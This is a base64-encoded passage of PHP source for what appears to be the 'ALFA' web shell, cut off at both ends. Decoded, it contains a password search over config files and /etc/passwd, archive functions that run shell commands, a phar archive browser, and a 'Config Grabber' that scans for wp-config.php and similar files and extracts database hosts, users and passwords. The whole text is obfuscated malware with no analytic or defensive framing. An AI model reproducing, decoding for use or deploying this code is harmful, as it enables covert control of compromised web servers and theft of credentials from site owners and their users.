ZWNobyAiPGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+W35dIFNlYXJjaGluZyBmb3IgcGFzc3dvcmRzIGluIGNvbmZpZyBmaWxlcy4uLlxuXG4iLiI8YnIgLz48YnIgLz48YnIgLz48L2ZvbnQ+PC9iPiI7CmZvcmVhY2goJHVzZXJzIGFzICR1c2VyKXsKaWYoZW1wdHkoJHVzZXIpKWNvbnRpbnVlOwokcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOwplY2hvICI8Zm9ybSBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0nZyhcIkZpbGVzTWFuXCIsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVybiBmYWxzZTsnPjxzcGFuPjxmb250IGNvbG9yPSMyNzk3OUI+Q2hhbmdlIERpciA8Zm9udCBjb2xvcj0jRkZGRjAxPi4uOjogPC9mb250Pjxmb250IGNvbG9yPXJlZD48Yj4kdXNlcjwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9I0ZGRkYwMT4gOjouLjwvZm9udD48L2ZvbnQ+PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J2Zvb3R0YWJsZScgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0nJHBhdGgnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48YnI+IjsKfQp9ZWxzZXtlY2hvKCc8Yj4gPGNlbnRlcj48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+Wy1dIEVycm9yIDogY291ZG5gdCByZWFkIC9ldGMvcGFzc3dkIFstXTwvZm9udD48L2NlbnRlcj48L2I+Jyk7fQplY2hvICc8YnI+PGJyPjwvYj4nOwplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXppcGVyKCl7CmFsZmFoZWFkKCk7CkFsZmFOdW0oOCw5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHA+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDb21wcmVzc29yIHw8L2Rpdj48L3A+Cjxmb3JtIG9uU3VibWl0PSJnKFwnemlwZXJcJyxudWxsLG51bGwsbnVsbCx0aGlzLmRpcnppcC52YWx1ZSx0aGlzLnppcGZpbGUudmFsdWUsXCc+PlwnKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9InBvc3QiPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5EaXIvRmlsZTogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJ6aXAiIHZhbHVlPSInLighZW1wdHkoJF9QT1NUWydhbGZhMyddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYWxmYTMnXSk6aHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pKS4nIiBzaXplPSI2MCIvPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij5TYXZlIERpcjogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6aXBmaWxlIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJ2FsZmEuemlwIiBzaXplPSI2MCIvPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICIgbmFtZT0iemlwZXIiIC8+CjwvZm9ybT48L2NlbnRlcj48L3A+JzsKaWYoaXNzZXQoJF9QT1NUWydhbGZhNSddKSAmJiAoJF9QT1NUWydhbGZhNSddID09ICc+PicpKXsKJGRpcnppcCA9ICRfUE9TVFsnYWxmYTMnXTsKJHppcGZpbGUgPSAkX1BPU1RbJ2FsZmE0J107CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJwb3dlcnNoZWxsIENvbXByZXNzLUFyY2hpdmUgLVBhdGggJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyAtRGVzdGluYXRpb25QYXRoICciLmFkZHNsYXNoZXMoYmFzZW5hbWUoJHppcGZpbGUpKS4iJyIpOwplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+RG9uZSAtPiA8Yj48Zm9udCBjb2xvcj0iZ3JlZW4iPicuJHppcGZpbGUuJzwvZm9udD48L2I+PC9wPjwvY2VudGVyPic7Cn1lbHNlaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewphbGZhRXgoImNkICciLmFkZHNsYXNoZXMoZGlybmFtZSgkemlwZmlsZSkpLiInO3ppcCAtciAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIicgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+RG9uZSAtPiA8Yj48Zm9udCBjb2xvcj0iZ3JlZW4iPicuJHppcGZpbGUuJzwvZm9udD48L2I+PC9wPjwvY2VudGVyPic7Cn1lbHNlaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpewppZihfX2FsZmF6aXBlcigkZGlyemlwLCAkemlwZmlsZSkpewplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9ImdyZWVuIj5TdWNjZXNzLi4uITxicj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9wPjwvY2VudGVyPic7Cn1lbHNle2VjaG8gX19wcmUoKS4nPGNlbnRlcj48cD48Zm9udCBjb2xvcj0icmVkIj5FUlJPUiEhIS4uLjwvZm9udD48L3A+PC9jZW50ZXI+Jzt9Cn0KfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19hbGZhemlwZXIoJHNvdXJjZSwkZGVzdGluYXRpb24pewppZighZXh0ZW5zaW9uX2xvYWRlZCgnemlwJyl8fCFmaWxlX2V4aXN0cygkc291cmNlKSl7CnJldHVybiBmYWxzZTsKfQokemlwPW5ldyBaaXBBcmNoaXZlKCk7CmlmKCEkemlwLT5vcGVuKCRkZXN0aW5hdGlvbixaSVBBUkNISVZFOjpDUkVBVEUpKXsKcmV0dXJuIGZhbHNlOwp9CiRzb3VyY2U9c3RyX3JlcGxhY2UoJ1xcJywnLycscmVhbHBhdGgoJHNvdXJjZSkpOwppZihpc19kaXIoJHNvdXJjZSk9PT10cnVlKXsKJGZpbGVzPW5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkc291cmNlKSxSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsKZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewokZmlsZT1zdHJfcmVwbGFjZSgnXFwnLCcvJywkZmlsZSk7CmlmKGluX2FycmF5KHN1YnN0cigkZmlsZSxzdHJycG9zKCRmaWxlLCcvJykrMSksYXJyYXkoJy4nLCcuLicpKSljb250aW51ZTsKJGZpbGU9cmVhbHBhdGgoJGZpbGUpOwppZihpc19kaXIoJGZpbGUpPT09dHJ1ZSl7CiR6aXAtPmFkZEVtcHR5RGlyKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlLicvJykpOwp9ZWxzZSBpZihpc19maWxlKCRmaWxlKT09PXRydWUpewokemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UuJy8nLCcnLCRmaWxlKSxmaWxlX2dldF9jb250ZW50cygkZmlsZSkpOwp9Cn0KfWVsc2UgaWYoaXNfZmlsZSgkc291cmNlKT09PXRydWUpewokemlwLT5hZGRGcm9tU3RyaW5nKGJhc2VuYW1lKCRzb3VyY2UpLGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsKfQpyZXR1cm4gJHppcC0+Y2xvc2UoKTsKfQpmdW5jdGlvbiBhbGZhZGV6aXBlcigpewphbGZhaGVhZCgpOwpBbGZhTnVtKDgsOSwxMCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxwPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRGVDb21wcmVzc29yIHw8L2Rpdj48L3A+Cjxmb3JtIG9uU3VibWl0PSJnKFwnZGV6aXBlclwnLG51bGwsbnVsbCxudWxsLHRoaXMuZGlyemlwLnZhbHVlLHRoaXMuemlwZmlsZS52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0icG9zdCI+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkZpbGU6IDwvZGl2PiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyemlwIiB2YWx1ZT0iJy4oIWVtcHR5KCRfUE9TVFsnYWxmYTMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2FsZmEzJ10pOmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSkuJyIgc2l6ZT0iNjAiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+RXh0cmFjdCBUbzogPC9kaXY+IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ6aXBmaWxlIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyIgc2l6ZT0iNjAiLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9InppcGVyIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC9wPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTUnXSkgJiYgKCRfUE9TVFsnYWxmYTUnXSA9PSAnPj4nKSl7CiRkaXJ6aXAgPSAkX1BPU1RbJ2FsZmEzJ107CiR6aXBmaWxlID0gJF9QT1NUWydhbGZhNCddOwppZihAIWlzX2RpcigkemlwZmlsZSkpewpAbWtkaXIoJHppcGZpbGUsIDA3NzcsIHRydWUpOwp9CiRmaW5mbyA9ICIiOwokZmlsZV90eXBlID0gIiI7CmlmKGZ1bmN0aW9uX2V4aXN0cygnZmluZm9fb3BlbicpKXsKJGZpbmZvID0gQGZpbmZvX29wZW4oRklMRUlORk9fTUlNRV9UWVBFKTsKJGZpbGVfdHlwZSA9IEBmaW5mb19maWxlKCRmaW5mbywgJGRpcnppcCk7CkBmaW5mb19jbG9zZSgkZmluZm8pOwp9ZWxzZXsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewokZmlsZV90eXBlID0gYWxmYUV4KCdmaWxlIC1iIC0tbWltZS10eXBlICcgLiAkZGlyemlwKTsKfQp9CmlmKCRHTE9CQUxTWydzeXMnXSE9J3VuaXgnJiZfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKYWxmYUV4KCJwb3dlcnNoZWxsIGV4cGFuZC1hcmNoaXZlIC1wYXRoICciLmFkZHNsYXNoZXMoJGRpcnppcCkuIicgLWRlc3RpbmF0aW9ucGF0aCAnIi5hZGRzbGFzaGVzKGJhc2VuYW1lKCR6aXBmaWxlKSkuIiciKTsKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+PC9iPjwvcD48L2NlbnRlcj4nOwp9ZWxzZWlmKCRHTE9CQUxTWydzeXMnXT09J3VuaXgnJiYhZW1wdHkoJGZpbGVfdHlwZSkmJl9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkmJihzdHJsZW4oYWxmYUV4KCd3aGljaCB1bnppcCcpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIHRhcicpKSA+IDB8fHN0cmxlbihhbGZhRXgoJ3doaWNoIGd1bnppcCcpKSA+IDApKXsKc3dpdGNoICgkZmlsZV90eXBlKSB7CmNhc2UgJ2FwcGxpY2F0aW9uL3ppcCc6CmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dW56aXAgJyIuYWRkc2xhc2hlcygkZGlyemlwKS4iJyIpOwpicmVhazsKY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgppZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6Iil8fHN0cnN0cihiYXNlbmFtZSgkZGlyemlwKSwgIi50YXIiKSl7CmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkemlwZmlsZSkuIic7dGFyIHh6ZiAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7Cn1lbHNlewphbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJHppcGZpbGUpLiInO2d1bnppcCAnIi5hZGRzbGFzaGVzKCRkaXJ6aXApLiInIik7Cn0KYnJlYWs7Cn0KZWNobyBfX3ByZSgpLic8Y2VudGVyPjxwPkRvbmUgLT4gPGI+PGZvbnQgY29sb3I9ImdyZWVuIj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvYj48L3A+PC9jZW50ZXI+JzsKfWVsc2VpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSl7CiRpdHNvayA9IGZhbHNlOwppZihlbXRweSgkZmlsZV90eXBlKSl7CiRmaWxlX3R5cGUgPSAiYXBwbGljYXRpb24vemlwIjsKfQpzd2l0Y2ggKCRmaWxlX3R5cGUpIHsKY2FzZSAnYXBwbGljYXRpb24vemlwJzoKJHppcCA9IG5ldyBaaXBBcmNoaXZlOwokcmVzID0gJHppcC0+b3BlbigkZGlyemlwKTsKaWYgKCRyZXMpIHsKJHppcC0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKJHppcC0+Y2xvc2UoKTsKJGl0c29rID0gdHJ1ZTsKfQpicmVhazsKY2FzZSAnYXBwbGljYXRpb24veC10YXInOiBjYXNlICdhcHBsaWNhdGlvbi94LWd6aXAnOiBjYXNlICdhcHBsaWNhdGlvbi94LWd0YXInOgppZihzdHJzdHIoYmFzZW5hbWUoJGRpcnppcCksICIudGFyLmd6IikpewokbmV3X2ZpbGUgPSAkemlwZmlsZSAuJy8nLiBiYXNlbmFtZSgkZGlyemlwKTsKQGNvcHkoJGRpcnppcCwgJG5ld19maWxlKTsKJG5ld190YXIgPSBzdHJfcmVwbGFjZSgiLnRhci5neiIsICIudGFyIiwgJG5ld19maWxlKTsKdHJ5IHsKJHAgPSBuZXcgUGhhckRhdGEoJG5ld19maWxlKTsKJHAtPmRlY29tcHJlc3MoKTsKJHBoYXIgPSBuZXcgUGhhckRhdGEoJG5ld190YXIpOwokcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKQHVubGluaygkbmV3X2ZpbGUpOwpAdW5saW5rKCRuZXdfdGFyKTsKJGl0c29rID0gdHJ1ZTsKfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7Cn0KfWVsc2V7CnRyeSB7CiRwaGFyID0gbmV3IFBoYXJEYXRhKCRkaXJ6aXApOwokcGhhci0+ZXh0cmFjdFRvKCR6aXBmaWxlKTsKJGl0c29rID0gdHJ1ZTsKfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7Cn0KfQpicmVhazsKfQppZigkaXRzb2spewplY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9ImdyZWVuIj5TdWNjZXNzLi4uITxicj4nLiR6aXBmaWxlLic8L2ZvbnQ+IDxhIHN0eWxlPSJjdXJzb3I6cG9pbnRlcjsiIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kemlwZmlsZS4nXCcpOyI+WyBWaWV3IEZvbGRlciBdPC9hPjwvcD48L2NlbnRlcj4nOwp9ZWxzZXtlY2hvIF9fcHJlKCkuJzxjZW50ZXI+PHA+PGZvbnQgY29sb3I9InJlZCI+RVJST1IhISEuLi48L2ZvbnQ+PC9wPjwvY2VudGVyPic7fQp9Cn0KZWNobyAnPC9kaXY+JzsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFhcmNoaXZlX21hbmFnZXIoKXsKYWxmYWhlYWQoKTsKJGZpbGUgPSAkX1BPU1RbJ2FsZmEyJ107CmlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewokZmlsZSA9ICRHTE9CQUxTWydjd2QnXTsKfQokcmFuZF9pZCA9IHJhbmQoOTk5OSwgOTk5OTk5KTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBcmNoaXZlIE1hbmFnZXIgfDwvZGl2PjwvcD4nOwplY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgo8ZGl2IGNsYXNzPSJ0eHRmb250Ij4KQXJjaGl2ZSBmaWxlOiA8aW5wdXQgc2l6ZT0iNTAiIGlkPSJ0YXJnZXQiIHR5cGU9InRleHQiIG5hbWU9ImZpbGUiIHZhbHVlPSInLiRmaWxlLiciPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CmlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7Ci8vZWNobyBfX3ByZSgpOwplY2hvICc8aHI+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDEycHg7IiBhcmNoaXZlX2Z1bGw9InBoYXI6Ly8nLiRmaWxlLiciIGFyY2hpdmVfbmFtZT0iJy5iYXNlbmFtZSgkZmlsZSkuJyIgaWQ9ImFyY2hpdmVfZGlyXycuJHJhbmRfaWQuJyIgY2xhc3M9ImFyY2hpdmVfZGlyX2hvbGRlciI+PHNwYW4+UFdEOiA8L3NwYW4+PGRpdiBjbGFzcz0iYXJjaGl2ZV9wd2RfaG9sZGVyIiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2siPjxhPi88L2E+PC9kaXY+PC9kaXY+JzsKZWNobyAnPGRpdiBzdHlsZT0icGFkZGluZzogMTBweDsiIGlkPSJhcmNoaXZlX2Jhc2VfJy4kcmFuZF9pZC4nIj4nOwpfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyYW5kX2lkKTsKZWNobyAnPC9kaXY+JzsKfQplY2hvICc8L2Rpdj4nOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gX19hbGZhX29wZW5fYXJjaGl2ZV9maWxlKCRhcmNoLCAkYmFzZV9pZD0wKXsKdHJ5ewokZmlsZXMgPSBhcnJheSgpOwokZGlycyA9IGFycmF5KCk7CiRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKIGZvcmVhY2goJGFyY2hpdmUgYXMgJGZpbGUpIHsKICRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsIEBmaWxlbXRpbWUoJGZpbGUtPmdldFBhdGhuYW1lKCkpKTsKIGlmKCRmaWxlLT5pc0RpcigpKSB7CiAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKIH1lbHNlewogJGZpbGVfc2l6ZSA9IEBmaWxlc2l6ZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSk7CiAkZmlsZXNbXSA9IGFycmF5KCJuYW1lIiA9PiAkZmlsZS0+Z2V0RmlsZU5hbWUoKSwgInBhdGgiID0+ICRmaWxlLT5nZXRQYXRobmFtZSgpLCAidHlwZSIgPT4gImZpbGUiLCAgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5LCAic2l6ZSIgPT4gJGZpbGVfc2l6ZSk7CiB9CiB9CiBmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CiByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CiB9CiB1c29ydCgkZGlycywgIl9fYWxmYV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKIHVzb3J0KCRmaWxlcywgIl9fYWxmYV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKICRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOwogZWNobyAnPHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0ibWFpbiIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj48dGJvZHk+PHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+JzsKICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CiBlY2hvICc8dHI+PHRoPjxhIGJhc2VfaWQ9IicuJGJhc2VfaWQuJyIgY2xhc3M9ImFyY2hpdmUtZmlsZS1yb3ciIGZuYW1lPSIuLiIgb25jbGljaz0iYWxmYU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy5kaXJuYW1lKCRhcmNoLicucGhwJykuJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58IC4uIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4tPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwogZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpewogJGljb24gPSAnPGltZyBjbGFzcz0iYXJjaGl2ZS1pY29ucyIgc3JjPSInLmZpbmRpY29uKCRmaWxlWyduYW1lJ10sJGZpbGVbJ3R5cGUnXSkuJyIgd2lkdGg9IjMwIiBoZWlnaHQ9IjMwIj4nOwogaWYoJGZpbGVbInR5cGUiXSA9PSAiZGlyIil7CiBlY2hvICc8dHI+PHRoPjxhIGJhc2VfaWQ9IicuJGJhc2VfaWQuJyIgY2xhc3M9ImFyY2hpdmUtZmlsZS1yb3ciIG9uY2xpY2s9ImFsZmFPcGVuQXJjaGl2ZSh0aGlzKTsiIHBhdGg9IicuJGZpbGVbInBhdGgiXS4nIiBmbmFtZT0iJy4kZmlsZVsibmFtZSJdLiciPicuJGljb24uJzxzcGFuIGNsYXNzPSJhcmNoaXZlLW5hbWUgYXJjaGl2ZS10eXBlLWRpciI+fCAnLiRmaWxlWyJuYW1lIl0uJyB8PC9zcGFuPjwvYT48dGQ+ZGlyPC90ZD48dGQ+Jy4kZmlsZVsibW9kaWZ5Il0uJzwvdGQ+PHRkPi08L3RkPjwvdHI+JzsKIH1lbHNlewplY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2VfaWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5hbGZhU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvdHI+IjsKCn0KIH0KICBlY2hvICc8L3RhYmxlPic7Cn1jYXRjaChFeGNlcHRpb24gJGUpewplY2hvKCIwIik7Cn0KfQpmdW5jdGlvbiBhbGZhb3Blbl9hcmNoaXZlX2RpcigpewokZGlyID0gJF9QT1NUWyJhbGZhMSJdOwokYmFzZV9pZCA9ICRfUE9TVFsiYWxmYTIiXTsKX19hbGZhX29wZW5fYXJjaGl2ZV9maWxlKCRkaXIsICRiYXNlX2lkKTsKfQpmdW5jdGlvbiBhbGZhY29uZmlnX2dyYWJiZXIoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDb25maWcgR3JhYmJlciB8PC9kaXY+PC9wPic7CmVjaG8gJzxmb3JtIG5hbWU9InNyY2giIG9uU3VibWl0PSJnKFwnY29uZmlnX2dyYWJiZXJcJyxudWxsLG51bGwsdGhpcy5kaXIudmFsdWUsdGhpcy5leHQudmFsdWUsbnVsbCxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+CkRpcjogPGlucHV0IHNpemU9IjUwIiBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXIiIHZhbHVlPSInLiRHTE9CQUxTWydjd2QnXS4nIj4KRXh0OiA8c21hbGw+PGZvbnQgY29sb3I9InJlZCI+WyAqID0gYWxsIEV4dCBdPC9mb250Pjwvc21hbGw+IDxpbnB1dCBpZD0iZXh0IiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJleHQiIHNpemU9IjUiIHZhbHVlPSJwaHAiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CiRkaXIgPSAkX1BPU1RbJ2FsZmEyJ107CiRleHQgPSAkX1BPU1RbJ2FsZmEzJ107CmlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7CmVjaG8gX19wcmUoKTsKQWxmYV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpOwp9CmVjaG8gJzwvZGl2Pic7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCkgewokcGF0dGVybiA9ICIjZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfXxkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfXxjb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIilwYXNzd29yZCg/Oid8XCIpXF18KD86J3xcIilkYXRhYmFzZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKXwoPzonfFwiKShteXNxbHxkYXRhYmFzZSkoPzonfFwiKVsgXXswLH09PlsgXXswLH1hcnJheXxkYl9uYW1lfGRiX3VzZXJ8ZGJfcGFzc3xkYl9zZXJ2ZXJ8ZGJfaG9zdHxkYmhvc3R8ZGJuYW1lfGRidXNlcnxkYnBhc3N8ZGF0YWJhc2VfbmFtZXxkYXRhYmFzZV91c2VyfGRhdGFiYXNlX3Bhc3N8bXlzcWxfdXNlcnxteXNxbF9wYXNzfG15c3FsaV9jb25uZWN0fG15c3FsX2Nvbm5lY3R8bmV3WyBdezAsfW15c3FsaSNpIjsKJGRiX2ZpbGVzID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiLCAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKaWYoQGlzX3JlYWRhYmxlKCRkaXIpKXsKJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwokZ2xvYkRpcnMgID0gQGdsb2IoIiRkaXIvKiIsIEdMT0JfT05MWURJUik7CiRibGFja2xpc3QgPSBhcnJheSgpOwpmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewppZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CkBBbGZhX0N